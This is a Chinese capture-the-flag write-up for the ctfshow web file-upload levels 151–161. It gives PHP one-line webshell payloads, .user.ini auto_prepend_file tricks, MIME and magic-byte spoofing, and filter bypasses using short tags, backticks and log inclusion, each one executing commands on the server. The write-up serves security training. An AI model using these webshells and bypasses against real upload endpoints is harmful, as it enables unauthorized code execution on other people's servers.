ctfshow_Web入门_文件上传(暂停)
Web151
1、F12检查上传点确认为JS验证,只支持png格式

2、上传1.png,抓包修改文件名为1.php,内容为<?php @eval($_POST['x']); ?>

3、访问文件地址,使用hackbar(也可以使用burpsuite)在POST中传入x的值
4、成功获取flag
Web152
1、F12检查上传点有JS验证,且后端也有过滤
2、上传1.php,Burp抓包修改文件类型为image/png

3、访问文件地址upload/1.php,Post传入a=system('tac ../f*');
4、成功获取flag
Web153
1、尝试以上操作,无效
2、上传正常图片1.png,抓包修改内容为后门木马<?php @eval($_POST[1]);?>

3、上传正常图片1.png,抓包修改文件名为.user.ini(格式解析文件,可以执行1.png中的php代码),内容为auto_prepend_file=1.png
4、访问上传目录upload,Post传入1=system('tac ../f*');
5、成功获取flag
Web154/155
1、上传正常图片1.png,修改内容为后门木马<?php @eval($_POST[1]);?>
2、提示上传失败,说明有过滤关键字
3、<?=eval($_POST[1]);?>成功上传,<?=?>就是替代<?php ?>

4、上传.user.ini,内容为auto_prepend_file=1.png
5、访问上传目录upload,Post传入1=system('tac ../f*');
6、成功获取flag
Web156 --过滤[]
绕过:使用{}替换
Payload:<?=eval($_POST{1});?>
Web157/158 --增加过滤[]{};
绕过:直接将写入命令执行语句
Payload:<?=system('tac ../f*')?>
Web159 --增加过滤()
绕过:把命令写在``中,系统命令符
Payload:<?=`tac ../f*`?>
Web160 --增加过滤空格``
绕过:包含日志文件
Payload:<?=include'/var/l"."og/nginx/access/l"."og?>
解题:访问/upload,查看源代码
Web161 --增加文件头检测
绕过:文件内容第一行加GIF89a
其他步骤同上
Web162...学习Python去了

浙公网安备 33010602011771号